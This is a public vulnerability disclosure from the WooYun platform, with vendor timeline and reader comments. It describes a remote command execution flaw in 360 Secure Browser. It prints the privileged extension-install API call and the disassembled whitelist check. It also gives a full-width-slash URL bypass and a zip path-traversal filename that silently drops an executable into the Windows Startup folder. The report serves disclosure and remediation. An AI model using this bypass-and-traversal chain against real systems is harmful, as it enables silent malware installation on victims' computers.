360 安全浏览器远程命令执行漏洞(访问任意网站即可植入恶意软件)

编号170984
Urlhttp://www.wooyun.org/bug.php?action=view&id=170984
漏洞状态厂商已经确认
漏洞标题360 安全浏览器远程命令执行漏洞(访问任意网站即可植入恶意软件)
漏洞类型远程代码执行
厂商奇虎360
白帽子唐朝实验室
提交日期2016-01-19 09:29:00
公开日期2016-04-11 16:08:00
修复时间(not set)
确认时间2016-01-19 00:00:00
Confirm Spend0
漏洞标签远程命令执行 设计缺陷 360安全浏览器
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank20
漏洞简介
只是单纯的分享技术,其他的留给下面的评论吧。
漏洞细节

测试环境为 Windows 7 + 360 安全浏览器,最新版本,如下:

banner.png


360 安全浏览器支持两种类型的扩展程序:
1. 类似 http://**.**.**.**/ext/xxx.crx 的 chrome 扩展,安装过程需要用户确认;
2. 类似 http://**.**.**.**/xxx/xx.zip 的 360 私有应用,安装过程不需要用户确认;
安装扩展是通过浏览器的私有 api 完成,代码为:

external.AppCmd(se6api.sid, 'SeAppMgr', 'InstallAppItem', '{"downurl":"http://**.**.**.**/se6apps/ExtYouxi/ExtYouxi_**.**.**.**2.zip", "appid":"ExtYouxi", "appname":"游戏", "appver":"**.**.**.**2", "callbackFunc":"oninstalled"}', 'installcallback', function() {});


第二类扩展程序功能较为强大,扩展中常有 exe/dll 等文件。正因为如此,浏览器做了限制,downurl 中的链接只有符合条件才会被下载安装。
具体什么条件?咱们来分析下:
通过浏览器目录文件命令大概判断,扩展相关的功能是放在 seappmgr.dll 文件中,放入 IDA 中,通过搜索 InstallAppItem,downurl,360safe,http:// 等关键字,最后定位到如下代码:

.text:5C004978 ; int _thiscall sub5C004978(LPCWSTR lpszUrl)
.text:5C004978 sub5C004978 proc near ; CODE XREF: sub5C030882+15Ep
.text:5C004978 push ebx
.text:5C004979 push esi
.text:5C00497A mov esi, ecx
.text:5C00497C mov bl, 1
.text:5C00497E test esi, esi
.text:5C004980 jz short loc5C0049D8
.text:5C004982 cmp word ptr [esi], 0
.text:5C004986 jz short loc5C0049D8
.text:5C004988 mov edx, offset aDl360safecom ; **.**.**.**
.text:5C00498D call sub5C0048C7
.text:5C004992 test al, al
.text:5C004994 jnz short loc5C0049D8
.text:5C004996 mov edx, offset aDown360safec ; **.**.**.**
.text:5C00499B mov ecx, esi ; lpszUrl
.text:5C00499D call sub5C0048C7
.text:5C0049A2 test al, al
.text:5C0049A4 jnz short loc5C0049D8
.text:5C0049A6 mov edx, offset abaoku360cn ; **.**.**.**
.text:5C0049AB mov ecx, esi ; lpszUrl
.text:5C0049AD call sub5C0048C7
.text:5C0049B2 test al, al
.text:5C0049B4 jnz short loc5C0049D8
.text:5C0049B6 mov edx, offset aSeupdate360sa ; **.**.**.**
.text:5C0049BB mov ecx, esi ; lpszUrl
.text:5C0049BD call sub5C0048C7
.text:5C0049C2 test al, al
.text:5C0049C4 jnz short loc5C0049D8
.text:5C0049C6 mov edx, offset aSeappupdate36 ; **.**.**.**
.text:5C0049CB mov ecx, esi ; lpszUrl
.text:5C0049CD call sub5C0048C7
.text:5C0049D2 neg al
.text:5C0049D4 sbb al, al
.text:5C0049D6 and bl, al
.text:5C0049D8
.text:5C0049D8 loc5C0049D8: ; CODE XREF: sub5C004978+8j
.text:5C0049D8 ; sub5C004978+Ej ...
.text:5C0049D8 pop esi
.text:5C0049D9 mov al, bl
.text:5C0049DB pop ebx
.text:5C0049DC retn
.text:5C0049DC sub5C004978 endp


看样子应该白名单,

**.**.**.** 
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**


进一步分析从 downurl 中取域名是通过 InternetCrackUrlW 函数完成的,并不是直接通过正则匹配 downurl,怎么能够绕过 InternetCrackUrlW 是个问题?如果能够在这些域名下载找个 URL 跳转那岂不完美,可问题一分钱难道英雄汉。
**.**.**.** 这个域名中间有个通配符,值得关注。反复测试,当把 downurl 写成:

http://x.x.x.x/.**.**.**.**/ExtYouxi_**.**.**.**2.zip


奇迹出现了,x.x.x.x/.**.**.**.** 符合 **.**.**.** 策略,而宽字节字符 / 又会被浏览器识别为 /,完美。
把 ExtYouxi**.**.**.**2.zip 文件下载到自己的服务器上,经过测试,插件静默安装完成。接着就是想办法把 ExtYouxi**.**.**.**2.zip 替换成恶意的文件,来达到命令执行的目的。
反复测试发现,ExtYouxi_**.**.**.**2.zip 文件中当加入别的 dll/exe 等可执行文件则无法完成插件的安装,难道是对压缩包内的文件做了签名校验?但是当把一个文件名中含有 ../ 的文件放进压缩包内则能够顺利安装插件,并且这个文件顺利的放到了我们让其跳转的目录。你肯定想到我们要做什么事情了。
是的,我们要把一个 exe 文件放到 Windows 的启动目录内。
插件安装后的目录为:

C:\Users\用户\AppData\Roaming\360se6\apps\bin\se\插件名


我们把文件名为 /../../../../../Microsoft/Windows/Start Menu/Programs/Startup/funny.exe 的文件放进压缩包。通过之前的代码安装该插件,funny.exe 文件完美的放到了下面的文件夹中:

C:\Users\用户\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\


到这里我们的正常流程应该是在某特权域下找一个 xss,然后通过 xss 写入恶意代码来完成攻击,最初我也是这么想的,还找到一个 xss,并且完成了攻击代码的编写(其实超简单)。
但是,万万没想到,当我把 se6api.sid 设置为空,随便在一个域名下执行安装代码都能够安装成功。
简直不敢想像,这可是 360 啊!!!

POC

请看:
链接: http://**.**.**.**/v_show/id_XMTQ1MDE0MDU1Mg==.html 密码:haidianwooyun

修复方案

1. 最简单的是把宽字节的斜线符号 / 过滤掉
2. 特权 api 当然在特权域下才能调用

状态信息 2016-01-19: 细节已通知厂商并且等待厂商处理中
2016-01-19: 厂商已经确认,细节仅向厂商公开
2016-01-22: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-03-14: 细节向核心白帽子及相关领域专家公开
2016-03-24: 细节向普通白帽子公开
2016-04-03: 细节向实习白帽子公开
2016-04-11: 细节向公众公开
厂商回复感谢白帽子反馈,我们第一时间跟进处理,预祝白帽子同学们新年快乐。
回应信息危害等级:高漏洞Rank:20 确认时间:2016-01-19 12:22
Showing 1-85 of 85 items.
评论内容评论人点赞数评论时间

想和茅台镇的酒联系我,微信号GENTLEmerchant

seastar02016-03-01 11:21:00

666

aaaaty02016-01-29 17:44:00

太恐怖了!

Jason02016-01-26 12:29:00

快乐

世界触发者02016-01-26 11:51:00

关注一下

FK50002016-01-25 11:17:00

66666666666666

思念很透明02016-01-24 15:21:00

预祝白帽子同学们新年快乐

xiumu02016-01-23 22:51:00

预祝白帽子同学们新年快乐

冷白开。02016-01-23 16:16:00

预祝白帽子同学们新年快乐

围观群众02016-01-22 22:40:00

真安全

Sakura丶小樱02016-01-22 20:04:00

吓得我把电源都拔掉了

Lar2y02016-01-22 18:52:00

吓得我马上卸载了360"安全"浏览器

枫子02016-01-22 16:45:00

刷屏了奇虎。

5t4rk02016-01-22 15:18:00

我是来看评论的

黑名单02016-01-19 18:44:00

预祝白帽子同学们新年快乐

袋鼠妈妈02016-01-19 16:23:00

我艹!!!

Topman王02016-01-19 16:18:00

分明是360装被D了,然后乌云见状不妙,也自己搞挂自己,说自己被D了,你们圈子水真深

AlexSimon02016-01-19 16:09:00

相爱相杀

jcxp02016-01-19 16:06:00

360爆乌云sql注入漏洞,乌云爆360浏览器远程命令执行,起鼓相当,双方各自不服谁,于是开启互D模式,战火仍在持续。欲知后事如何,请听下回分解。(瞎编的,别封号)

路人毛02016-01-19 16:01:00

@笙心 哎,都是互相残杀。。

狮子找女友02016-01-19 15:59:00

@方大核桃 网都上不了,只能打电话。

Mieless02016-01-19 15:41:00

半天没进的来

欧冠狂魔阿森纳02016-01-19 15:39:00

肯定火!

表哥02016-01-19 15:39:00

火钳留名!!!

Mayter02016-01-19 15:37:00

http://butian.360.cn/vul/info/qid/QTVA-2016-366710

笙心02016-01-19 15:36:00

火钳留名!!

bobylive02016-01-19 15:22:00

这两家的剧本,你们圈子真会玩

AlexSimon02016-01-19 15:20:00

火钳留名!!

bobylive02016-01-19 15:19:00

趁能上的时候 留给名

phoenixne02016-01-19 14:55:00

互相开始D了吗

Mujj02016-01-19 14:48:00

已经开战了!!

围剿02016-01-19 14:43:00

还好不用360浏览器

ba1ma002016-01-19 14:39:00

这是礼尚往来了么。。。

90Snake02016-01-19 14:22:00

360插件域任意跳转 难道是插件问题?

隐形人真忙02016-01-19 14:03:00

吊炸天

zhiher02016-01-19 13:57:00

占个位子再说

some02016-01-19 13:46:00

剑心出手就是不一样

梧桐雨02016-01-19 13:25:00

@Mieless 大哥大 ? GSM 安全?

方大核桃02016-01-19 13:17:00

还好我没用

Taro02016-01-19 13:00:00

666666

aaaaty02016-01-19 12:57:00

还好不用360浏览器

Submit02016-01-19 12:17:00

这是小号》》》

404notfound02016-01-19 12:14:00

还好我用的是大哥大,重是重了点就是安全。

Mieless02016-01-19 12:07:00

666

Breaker02016-01-19 12:06:00

卧槽,这个牛B啊

多情公子02016-01-19 12:05:00

静静看

千与千寻02016-01-19 12:05:00

吓得我马上卸载了360"安全"浏览器

小红猪02016-01-19 12:04:00

吓得我马上卸载了360"安全"浏览器

啊L川02016-01-19 12:01:00

点进来一看,吓得本宝宝hydra都不跑了.

方大核桃02016-01-19 11:59:00

点进来一看,吓得本宝宝sqlmap都不跑了.

mujahideen02016-01-19 11:54:00

mark一下 该洞必火

AK-4702016-01-19 11:52:00

亮瞎了

路人毛02016-01-19 11:52:00

66666

Rand0m02016-01-19 11:51:00

还好我用DOS系统,没有浏览器

孤心02016-01-19 11:47:00

好可怕

牛 小 帅02016-01-19 11:46:00

@子非海绵宝宝 然后明天@唐朝实验室 再发一个:XX浏览器远程命令执行漏洞(访问任意网站即可植入恶意软件)

zhchbin02016-01-19 11:43:00

还好我只用谷歌浏览器

子非海绵宝宝02016-01-19 11:41:00

@von 事实上我打错字了,当时一激动按了回车.联系秘书是不能改名的,索性就不改了

02016-01-19 11:34:00

@帅 id这么亮啊哈哈

von02016-01-19 11:29:00

26

02016-01-19 11:15:00

腻害!

皂皂02016-01-19 10:47:00

你们就不能说点儿有用的?哎,其他的留给下面的评论吧。=_=

Ton7BrEak02016-01-19 10:42:00

只是单纯的分享技术,其他的留给下面的评论吧。

卖C4的小男孩02016-01-19 10:39:00

其他的留给下面的评论吧

phantom030702016-01-19 10:36:00

其他的留给下面的评论吧

随风的风02016-01-19 10:19:00

打脸中

fuckadmin02016-01-19 10:12:00

名字亮了

偷笑的猫02016-01-19 10:12:00

火钳留名

f4ckbaidu02016-01-19 10:11:00

我靠,我已中招

紫霞仙子02016-01-19 10:06:00

定向爆破中

loli02016-01-19 10:04:00

定x叔

举起手来02016-01-19 10:03:00

666666

爱上平顶山02016-01-19 10:01:00

大师兄02016-01-19 10:00:00

好疼

luwikes02016-01-19 10:00:00

定x叔

狗狗侠02016-01-19 09:58:00

前排

answer02016-01-19 09:54:00

mark

Gabriel02016-01-19 09:49:00

前排

牛肉包子02016-01-19 09:46:00

这是根据PX那个来的么

90Snake02016-01-19 09:38:00

其他的留给下面的评论吧

奋斗的阿呆02016-01-19 09:34:00

前排哦

面具02016-01-19 09:34:00

占了再说

SH0X800102016-01-19 09:34:00

我是第二个

wsg00d02016-01-19 09:33:00

抢占前排

ago02016-01-19 09:33:00

我是第一个

我的邻居王婆婆02016-01-19 09:31:00